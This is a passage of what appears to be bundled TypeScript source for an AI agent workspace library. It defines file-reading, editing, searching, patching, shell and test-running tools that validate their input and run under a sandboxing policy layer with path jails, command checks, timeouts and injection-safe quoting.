workspace: modify, create (--- /dev/null), \" +\n \"delete (+++ /dev/null) and rename (git rename from/to) files in one call. \" +\n \"All of it applies or none of it does. Hunks are located by their context, \" +\n \"so small line drift is fine; binary files are refused. Use dryRun to check first.\",\n action: (input) => (input.dryRun === true ? \"Checking a patch\" : \"Applying a patch\"),\n input: inputSchema,\n execute: (input) => (ops.applyPatch ? ops.applyPatch(input) : applyPatchWithOps(ops, input)),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { EDIT_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { EditFileInput, EditFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"edit_file\";\n\n/** Input schema for the `edit_file` tool. */\nconst inputSchema = objectSchema<EditFileInput>(\n {\n path: stringField(),\n oldString: stringField(),\n newString: stringField(),\n replaceAll: optionalBooleanField(),\n expectHash: optionalStringField(),\n },\n EDIT_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `edit_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, oldString, newString, replaceAll?,\n * expectHash? }` against a Standard Schema, then delegates to\n * `ops.editFile`, which applies the exact-string replacement under the\n * read-before-edit guard and returns the replacement count plus the\n * post-edit `hash`.\n *\n * **Errors flow as data.** A non-unique `oldString` (without\n * `replaceAll`), a missing `oldString`, or a stale `expectHash` cause\n * `ops` to throw a `WorkspaceEditError`; the `tool()` wrapper catches it\n * and surfaces it in the returned `{ error }` field — `invoke()` never\n * throws — so the agent can re-read and retry.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const editTool = makeEditFileTool(ops);\n * const { data, error } = await editTool.invoke({\n * path: \"src/index.ts\",\n * oldString: \"const a = 1;\",\n * newString: \"const a = 2;\",\n * expectHash,\n * });\n * if (error) console.warn(error.message); // e.g. stale-hash → re-read\n */\nexport function makeEditFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<EditFileInput, EditFileResult> {\n return tool<EditFileInput, EditFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Replace an exact substring in a workspace file. oldString must match \" +\n \"uniquely unless replaceAll is set. Pass expectHash (from read_file) to \" +\n \"reject the edit if the file changed since you read it. Returns the \" +\n \"number of replacements and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n return ops.editFile(input);\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { GLOB_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GlobInput, GlobResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGlobTool} to customize the vended tool. */\nexport interface MakeGlobToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"glob\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * path-match surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GlobInput} — a single required `pattern`\n * string. Built on the package's shared, dependency-free schema builders\n * (no schema library, matching the validator idiom the `@warlock.js/ai`\n * tool runtime expects).\n */\nconst globInputSchema = objectSchema<GlobInput>(\n {\n pattern: stringField(),\n },\n GLOB_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `glob` tool — resolve a glob pattern to the\n * matching workspace-relative paths within the jail. The returned\n * {@link ToolContract} validates the LLM's arguments, delegates to\n * {@link WorkspaceOps.glob} (which returns a bare sorted `string[]`), and\n * wraps the result in a {@link GlobResult} so the agent always reads a\n * stable `{ paths }` envelope. The jail and `denyPaths` filtering are\n * enforced in the shared ops layer; a policy violation surfaces as typed\n * tool-error *data* via the runtime's `invoke()` wrapper.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `glob`.\n *\n * @example\n * const glob = makeGlobTool(ops);\n * const { data } = await glob.invoke({ pattern: \"src/models/**\\/*.ts\" });\n * console.log(data?.paths);\n */\nexport function makeGlobTool(\n ops: WorkspaceOps,\n options?: MakeGlobToolOptions,\n): ToolContract<GlobInput, GlobResult> {\n return tool<GlobInput, GlobResult>({\n name: options?.name ?? \"glob\",\n description:\n \"Find files in the workspace whose path matches a glob pattern \" +\n \"(supports `*`, `**`, and `?`). Returns the matching \" +\n \"workspace-relative paths, sorted.\",\n action: (input) => `Finding files matching ${input.pattern}`,\n input: globInputSchema,\n async execute(input) {\n if (ops.globResult !== undefined) {\n return ops.globResult(input.pattern);\n }\n\n const paths = await ops.glob(input.pattern);\n\n return { paths };\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { GREP_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GrepInput, GrepResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGrepTool} to customize the vended tool. */\nexport interface MakeGrepToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"grep\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * search surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GrepInput} — `pattern` is a required string;\n * `glob` and `ignoreCase` are optional. Built on the package's shared,\n * dependency-free schema builders (no schema library, matching the\n * validator idiom the `@warlock.js/ai` tool runtime expects).\n */\nconst grepInputSchema = objectSchema<GrepInput>(\n {\n pattern: stringField(),\n glob: optionalStringField(),\n ignoreCase: optionalBooleanField(),\n },\n GREP_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `grep` tool — a regex content search across the\n * jailed file set. The returned {@link ToolContract} validates the LLM's\n * arguments, then delegates verbatim to {@link WorkspaceOps.grep}, so the\n * policy jail, `denyPaths` filtering, and match cap are enforced in the\n * single shared ops layer rather than duplicated here. A policy violation\n * (e.g. a jail-resolution failure) surfaces as typed tool-error *data*\n * via the runtime's `invoke()` wrapper, never as a thrown run-killer.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `grep`.\n *\n * @example\n * const grep = makeGrepTool(ops);\n * const { data } = await grep.invoke({ pattern: \"TODO\", glob: \"src/*.ts\" });\n * console.log(data?.total, data?.matches);\n */\nexport function makeGrepTool(\n ops: WorkspaceOps,\n options?: MakeGrepToolOptions,\n): ToolContract<GrepInput, GrepResult> {\n return tool<GrepInput, GrepResult>({\n name: options?.name ?? \"grep\",\n description:\n \"Search file contents across the workspace for a regular-expression \" +\n \"pattern. Optionally narrow the scanned files with a glob and match \" +\n \"case-insensitively. Returns every matching line with its file path \" +\n \"and 1-based line number.\",\n action: (input) => `Searching for /${input.pattern}/`,\n input: grepInputSchema,\n async execute(input) {\n return ops.grep(input.pattern, {\n glob: input.glob,\n ignoreCase: input.ignoreCase,\n });\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ListDirInput, ListDirResult, WorkspaceOps } from \"../contracts\";\nimport { LIST_DIR_JSON_SCHEMA } from \"./json-schemas\";\nimport {\n objectSchema,\n optionalNumberField,\n optionalStringArrayField,\n optionalStringField,\n} from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"list_dir\";\n\n/** Input schema for the `list_dir` tool. */\nconst inputSchema = objectSchema<ListDirInput>(\n {\n path: optionalStringField(),\n depth: optionalNumberField(),\n ignore: optionalStringArrayField(),\n },\n LIST_DIR_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `list_dir` tool over a workspace's policy-enforced\n * {@link WorkspaceOps}: a bounded, jailed listing of one directory.\n *\n * Entries come back breadth-first (each level sorted by name) with their\n * type and — for files — size, down to `depth` levels (capped by\n * `list.maxDepth`) and at most `list.maxEntries` entries (`truncated` says\n * when the cap hit). `denyPaths` are always left out, as are the\n * `list.ignore` globs (default `node_modules`, `.git`) and any `ignore`\n * globs the model passes. Symlinks are reported as `\"symlink\"` and never\n * followed. A path outside the jail surfaces as a `WorkspacePolicyError` in\n * the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const listDir = makeListDirTool(ops);\n * const { data } = await listDir.invoke({ path: \"src\", depth: 2 });\n * for (const entry of data?.entries ?? []) console.log(entry.type, entry.path, entry.size);\n */\nexport function makeListDirTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ListDirInput, ListDirResult> {\n return tool<ListDirInput, ListDirResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"List a workspace directory: entries with their type and file size, \" +\n \"breadth-first, `depth` levels deep (default 1). Dependency and VCS \" +\n \"folders are left out unless you list them directly.\",\n action: (input) => `Listing ${typeof input.path === \"string\" ? input.path : \".\"}`,\n input: inputSchema,\n execute: (input) =>\n ops.listDir(input.path ?? \".\", {\n ...(input.depth !== undefined ? { depth: input.depth } : {}),\n ...(input.ignore !== undefined ? { ignore: input.ignore } : {}),\n }),\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_MULTI_EDITS } from \"../ops\";\nimport type {\n MultiEditInput,\n MultiEditOperation,\n MultiEditResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { MULTI_EDIT_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"multi_edit\";\n\n/** Validate one element of `edits`. */\nfunction validateEdit(\n value: unknown,\n index: number,\n): { edit: MultiEditOperation } | { issues: StandardSchemaV1.Issue[] } {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: `edits[${index}] must be an object`, path: [\"edits\", index] }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n\n if (typeof candidate.oldString !== \"string\" || candidate.oldString === \"\") {\n issues.push({\n message: `edits[${index}].oldString must be a non-empty string`,\n path: [\"edits\", index, \"oldString\"],\n });\n }\n\n if (typeof candidate.newString !== \"string\") {\n issues.push({\n message: `edits[${index}].newString must be a string`,\n path: [\"edits\", index, \"newString\"],\n });\n }\n\n if (candidate.replaceAll !== undefined && typeof candidate.replaceAll !== \"boolean\") {\n issues.push({\n message: `edits[${index}].replaceAll must be a boolean when provided`,\n path: [\"edits\", index, \"replaceAll\"],\n });\n }\n\n if (\n issues.length > 0 ||\n typeof candidate.oldString !== \"string\" ||\n typeof candidate.newString !== \"string\"\n ) {\n return { issues };\n }\n\n return {\n edit: {\n oldString: candidate.oldString,\n newString: candidate.newString,\n ...(candidate.replaceAll === true ? { replaceAll: true } : {}),\n },\n };\n}\n\n/** Input schema for the `multi_edit` tool. */\nconst inputSchema = withJsonSchema<MultiEditInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const edits: MultiEditOperation[] = [];\n\n if (typeof candidate.path !== \"string\" || candidate.path === \"\") {\n issues.push({ message: '\"path\" must be a non-empty string', path: [\"path\"] });\n }\n\n if (candidate.expectHash !== undefined && typeof candidate.expectHash !== \"string\") {\n issues.push({\n message: '\"expectHash\" must be a string when provided',\n path: [\"expectHash\"],\n });\n }\n\n if (\n !Array.isArray(candidate.edits) ||\n candidate.edits.length === 0 ||\n candidate.edits.length > MAX_MULTI_EDITS\n ) {\n issues.push({\n message: `\"edits\" must be an array of 1 to ${MAX_MULTI_EDITS} edits`,\n path: [\"edits\"],\n });\n } else {\n candidate.edits.forEach((item: unknown, index: number) => {\n const outcome = validateEdit(item, index);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n } else {\n edits.push(outcome.edit);\n }\n });\n }\n\n if (issues.length > 0 || typeof candidate.path !== \"string\") {\n return { issues };\n }\n\n return {\n value: {\n path: candidate.path,\n edits,\n ...(typeof candidate.expectHash === \"string\"\n ? { expectHash: candidate.expectHash }\n : {}),\n },\n };\n },\n },\n },\n MULTI_EDIT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `multi_edit` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}: several exact-string replacements in one\n * file, **atomic** — every edit applies, in order (each against the result\n * of the previous ones), and the file is written once; or one edit fails\n * and nothing is written.\n *\n * Each edit follows the `edit_file` rules: `oldString` must be found, and\n * found exactly once unless `replaceAll`. An optional `expectHash` (from\n * `read_file`) rejects the whole call when the file changed since it was\n * read. A failure surfaces as a `WorkspaceEditError` in the result's\n * `error` field, with `editIndex` naming the failing edit.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const multiEdit = makeMultiEditTool(ops);\n * const { data, error } = await multiEdit.invoke({\n * path: \"src/cart.ts\",\n * expectHash,\n * edits: [\n * { oldString: \"let total = 0;\", newString: \"let total = 0n;\" },\n * { oldString: \"total += price;\", newString: \"total += BigInt(price);\" },\n * ],\n * });\n */\nexport function makeMultiEditTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<MultiEditInput, MultiEditResult> {\n return tool<MultiEditInput, MultiEditResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Make several exact-string replacements in one workspace file at once. \" +\n \"Edits apply in order, each to the result of the previous; if any \" +\n \"edit fails (text not found, or not unique without replaceAll) none \" +\n \"are applied. Pass expectHash (from read_file) to reject the call if \" +\n \"the file changed since you read it.\",\n action: (input) => `Editing ${typeof input.path === \"string\" ? input.path : \"a file\"}`,\n input: inputSchema,\n execute: (input) => ops.multiEdit(input),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\nimport { READ_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { ReadFileInput, ReadFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"read_file\";\n\n/** Input schema for the `read_file` tool. */\nconst inputSchema = objectSchema<ReadFileInput>(\n {\n path: stringField(),\n startLine: optionalNumberField(),\n limit: optionalNumberField(),\n },\n READ_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `read_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, startLine?, limit? }` against a Standard\n * Schema, then delegates to `ops.readFile`, mapping the result into the\n * agent wire shape {@link ReadFileResult} — the full file's `hash` an\n * agent must carry into a later `edit_file` (read-before-edit), plus the\n * `startLine` / `endLine` / `truncated` / `bytesCapped` window metadata.\n * The returned `content` never exceeds the policy's `read.maxBytes`.\n *\n * **Errors flow as data.** Policy violations (a jail escape) are thrown\n * by `ops`; the `tool()` wrapper catches them and surfaces them in the\n * returned `{ error }` field — `invoke()` never throws — so the agent can\n * read the failure and self-correct.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const readTool = makeReadFileTool(ops);\n * const { data, error } = await readTool.invoke({ path: \"src/index.ts\" });\n * if (!error) console.log(data.hash); // feed into edit_file's expectHash\n */\nexport function makeReadFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ReadFileInput, ReadFileResult> {\n return tool<ReadFileInput, ReadFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read a file from the workspace, returning a numbered line window plus \" +\n \"the file's content hash. Pass the hash to edit_file's expectHash to \" +\n \"guard against editing a stale version. Use startLine/limit to page \" +\n \"through large files. Output is byte-capped by the workspace policy; \" +\n \"when bytesCapped is true the last returned line may be cut short.\",\n input: inputSchema,\n async execute(input) {\n // The ops layer owns the window and byte-cap arithmetic, so the tool\n // and the direct `readFile()` return identical results for the same\n // arguments.\n return ops.readFile(input.path, {\n offset: input.startLine !== undefined ? Math.max(1, input.startLine) : 1,\n limit: input.limit,\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type {\n RunShellBackgroundResult,\n RunShellInput,\n RunShellResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { runShellJsonSchema } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_shell` is exposed to the LLM under. */\nconst DEFAULT_RUN_SHELL_TOOL_NAME = \"run_shell\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunShellInput}. We validate the\n * model's arguments without a runtime schema dependency: `command` must be\n * a non-empty string, `timeoutMs` (when present) a positive number and\n * `background` (when present) a boolean. Invalid args surface as a\n * `SchemaValidationError` in the tool result's `error` field rather than\n * reaching `ops.exec`.\n */\nfunction runShellInputSchema(background: boolean): StandardSchemaV1<RunShellInput> {\n const schema: StandardSchemaV1<RunShellInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n if (typeof value !== \"object\" || value === null) {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (typeof candidate.command !== \"string\" || candidate.command.length === 0) {\n return {\n issues: [{ message: \"command must be a non-empty string\", path: [\"command\"] }],\n };\n }\n\n if (\n candidate.timeoutMs !== undefined &&\n (typeof candidate.timeoutMs !== \"number\" || candidate.timeoutMs <= 0)\n ) {\n return {\n issues: [{ message: \"timeoutMs must be a positive number\", path: [\"timeoutMs\"] }],\n };\n }\n\n if (candidate.background !== undefined && typeof candidate.background !== \"boolean\") {\n return {\n issues: [{ message: \"background must be a boolean\", path: [\"background\"] }],\n };\n }\n\n const result: RunShellInput = { command: candidate.command };\n\n if (typeof candidate.timeoutMs === \"number\") {\n result.timeoutMs = candidate.timeoutMs;\n }\n\n if (candidate.background === true) {\n result.background = true;\n }\n\n return { value: result };\n },\n },\n };\n\n return withJsonSchema(schema, runShellJsonSchema(background));\n}\n\n/** Options for {@link makeRunShellTool}. */\nexport interface MakeRunShellToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_shell\"`). */\n name?: string;\n /**\n * Upper bound for a model-supplied `timeoutMs` on a foreground command —\n * the model can lower the timeout, never raise it past this. The\n * workspace passes its `shell.timeoutMs`.\n */\n maxTimeoutMs?: number;\n /**\n * Accept `background: true` and start the command as a background job\n * (`ops.startShell`), returning a {@link RunShellBackgroundResult}. The\n * workspace sets it when the policy has `shell.background`. Default\n * `false`: a background request is refused.\n */\n background?: boolean;\n /**\n * The name of the shell lines run in (for example `bash` or\n * `PowerShell 7 (pwsh)`). When set, the description tells the model which\n * shell and syntax rules apply. Absent ⇒ argv mode, no shell.\n */\n shellLabel?: string;\n /** The grammar of that shell; selects the syntax rules in the description. */\n shellDialect?: \"posix\" | \"cmd\" | \"powershell\" | \"powershell5\" | \"none\";\n /** The operating system named in the description. Default: the running one. */\n platform?: NodeJS.Platform;\n}\n\nconst DIALECT_RULES: Record<\"posix\" | \"cmd\" | \"powershell\" | \"powershell5\", string> = {\n posix:\n \"Use POSIX shell syntax: `;`, `&&`, `||`, pipes, quotes, `$( )` and redirections are supported, \" +\n \"and every command in the line is checked. Compound statements (`if`, `for`), brace expansion, \" +\n \"arithmetic and `&` are not.\",\n cmd:\n \"Use cmd.exe syntax: `&&`, `||`, `&`, `|` and simple redirections are supported, and every command \" +\n \"in the line is checked. `%` and `!` expansion, `^`, parentheses and `if` / `for` are not.\",\n powershell:\n \"Use PowerShell syntax: `;`, `&&`, `||`, pipes, `$( )`, the call operator `&` and the redirections \" +\n \"`>`, `>>`, `2>` and `2>&1` are supported, and every command in the line is checked (aliases such as \" +\n \"`rm` and `Remove-Item` are treated alike). Script blocks, `Invoke-Expression`, here-strings, \" +\n \"splatting and `if` / `foreach` are not.\",\n powershell5:\n \"Use Windows PowerShell 5.1 syntax: `;`, pipes, `$( )`, the call operator `&` and the redirections \" +\n \"`>`, `>>`, `2>` and `2>&1` are supported, and every command in the line is checked (aliases such as \" +\n \"`rm` and `Remove-Item` are treated alike). This version cannot chain with `&&` or `||`: put one \" +\n \"command per call, or join with `;` (which runs the next command whatever the exit code). Script \" +\n \"blocks, `Invoke-Expression`, here-strings, splatting and `if` / `foreach` are not supported.\",\n};\n\nconst PLATFORM_NAMES: Partial<Record<NodeJS.Platform, string>> = {\n win32: \"Windows\",\n darwin: \"macOS\",\n linux: \"Linux\",\n};\n\n/** The sentence that names the shell and its syntax, or `\"\"` in argv mode. */\nfunction shellSentence(options: MakeRunShellToolOptions | undefined): string {\n const dialect = options?.shellDialect;\n\n if (options?.shellLabel === undefined || dialect === undefined || dialect === \"none\") {\n return \"\";\n }\n\n const platform = options.platform ?? process.platform;\n\n return (\n ` Commands run on ${PLATFORM_NAMES[platform] ?? platform} using ${options.shellLabel}. ` +\n DIALECT_RULES[dialect]\n );\n}\n\n/** The lower of the model's timeout and the cap (either may be absent). */\nfunction cappedTimeout(requested: number | undefined, cap: number | undefined): number | undefined {\n if (requested === undefined) {\n return cap;\n }\n\n return cap === undefined ? requested : Math.min(requested, cap);\n}\n\n/**\n * Build the `run_shell` tool — a {@link ToolContract} that runs a command\n * line through the policy-enforced {@link WorkspaceOps} layer.\n *\n * Every command in the line is checked against the shell policy by\n * `ops.exec`; a refused line throws a `WorkspacePolicyError` (with a\n * `reason` and a message that says how to fix the command) which the\n * `tool()` runtime catches and surfaces in the result's `error` field\n * (never a thrown run-killer), so the agent reads the refusal as tool data\n * and self-corrects. A command that runs but exits non-zero is *not* an\n * error — its `exitCode`/`stderr` come back in `data` for the agent to\n * inspect.\n *\n * The agent run's cancellation `signal` (from the dispatch `ctx`) is passed\n * to `ops.exec` per invocation: a cancelled run never starts the command,\n * and one cancelled mid-command kills its process tree (`cancelled: true`).\n * A background command (`background: true`, when enabled) belongs to the\n * workspace instead and keeps running after the call returns.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Tool-name override, timeout cap and background support.\n *\n * @example\n * const runShell = makeRunShellTool(ops);\n * const { data, error } = await runShell.invoke({ command: \"npm run build\" });\n * if (error) handleDenied(error);\n * else console.log(data.exitCode, data.stdout);\n */\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions & { background?: false },\n): ToolContract<RunShellInput, RunShellResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options: MakeRunShellToolOptions & { background: true },\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult> {\n const background = options?.background === true;\n\n return tool<RunShellInput, RunShellResult | RunShellBackgroundResult>({\n name: options?.name ?? DEFAULT_RUN_SHELL_TOOL_NAME,\n description:\n \"Run a shell command inside the workspace. Every command in it must be \" +\n \"permitted by the shell policy; a refusal explains how to fix the \" +\n \"command. Output is byte-capped and the run is time-limited. A \" +\n \"non-zero exit code is returned as data, not an error.\" +\n shellSentence(options) +\n (background\n ? \" Pass background: true for a long-running command (dev server, \" +\n \"watcher): it returns an id at once; read its output with \" +\n \"shell_output and stop it with shell_kill.\"\n : \"\"),\n action: (input) => `Running \\`${input.command}\\``,\n input: runShellInputSchema(background),\n // The run's signal belongs to this one invocation: it is read from the\n // dispatch ctx on every call and never stored on the tool or workspace.\n execute: async (input, ctx) => {\n if (input.background === true) {\n if (!background) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace; run the command without background.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: input.command },\n );\n }\n\n const job = await ops.startShell(\n input.command,\n input.timeoutMs !== undefined ? { timeoutMs: input.timeoutMs } : undefined,\n );\n\n return { ...job, background: true };\n }\n\n const timeoutMs = cappedTimeout(input.timeoutMs, options?.maxTimeoutMs);\n\n return ops.exec(input.command, {\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n WorkspaceShellInterpreter,\n} from \"../contracts\";\nimport { RUN_TESTS_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string without\n * double quotes or newlines — the pattern is forwarded to the runner as a\n * single double-quoted argument, and those characters would break out of\n * the quoting (i.e. inject extra arguments or commands). Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = withJsonSchema<RunTestsInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\n return {\n issues: [\n {\n message: \"pattern must not contain double quotes or newlines\",\n path: [\"pattern\"],\n },\n ],\n };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n },\n RUN_TESTS_JSON_SCHEMA,\n);\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command as a single\n * quoted argument.\n */\n command?: string;\n /**\n * The workspace's `shell.interpreter`, so the pattern is quoted for the\n * way the line runs: double quotes in argv mode (the default), single\n * quotes for `/bin/sh` (so `$` and backticks in a pattern stay literal),\n * double quotes for cmd.exe.\n */\n interpreter?: WorkspaceShellInterpreter;\n /**\n * The grammar of the shell the line runs in; with `interpreter` it picks\n * the quoting: single quotes (doubled inside) for PowerShell.\n */\n dialect?: \"posix\" | \"cmd\" | \"powershell\" | \"powershell5\";\n /** The platform quoting is chosen for. Default: the running one. */\n platform?: NodeJS.Platform;\n}\n\n/** Quote the test pattern as one literal argument for the line's interpreter. */\nexport function quotePattern(\n pattern: string,\n interpreter: WorkspaceShellInterpreter,\n dialect?: \"posix\" | \"cmd\" | \"powershell\" | \"powershell5\",\n platform: NodeJS.Platform = process.platform,\n): string {\n if (dialect === \"powershell\" || dialect === \"powershell5\" || interpreter === \"powershell\") {\n // PowerShell also reads the typographic single quotes as quotes; each is\n // doubled to stay literal.\n return `'${pattern.replace(/['\\u2018\\u2019\\u201A\\u201B]/g, \"$&$&\")}'`;\n }\n\n if (interpreter === \"bash\" || (interpreter === \"sh\" && platform !== \"win32\")) {\n return `'${pattern.replace(/'/g, \"'\\\\''\")}'`;\n }\n\n return `\"${pattern}\"`;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a **single quoted argument** — a path/suite filter the\n * tokenizer hands to the runner as one argv element (e.g.\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\n * data, never a second command. Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix. The agent run's cancellation\n * `signal` is threaded per invocation, exactly as for `run_shell`.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running 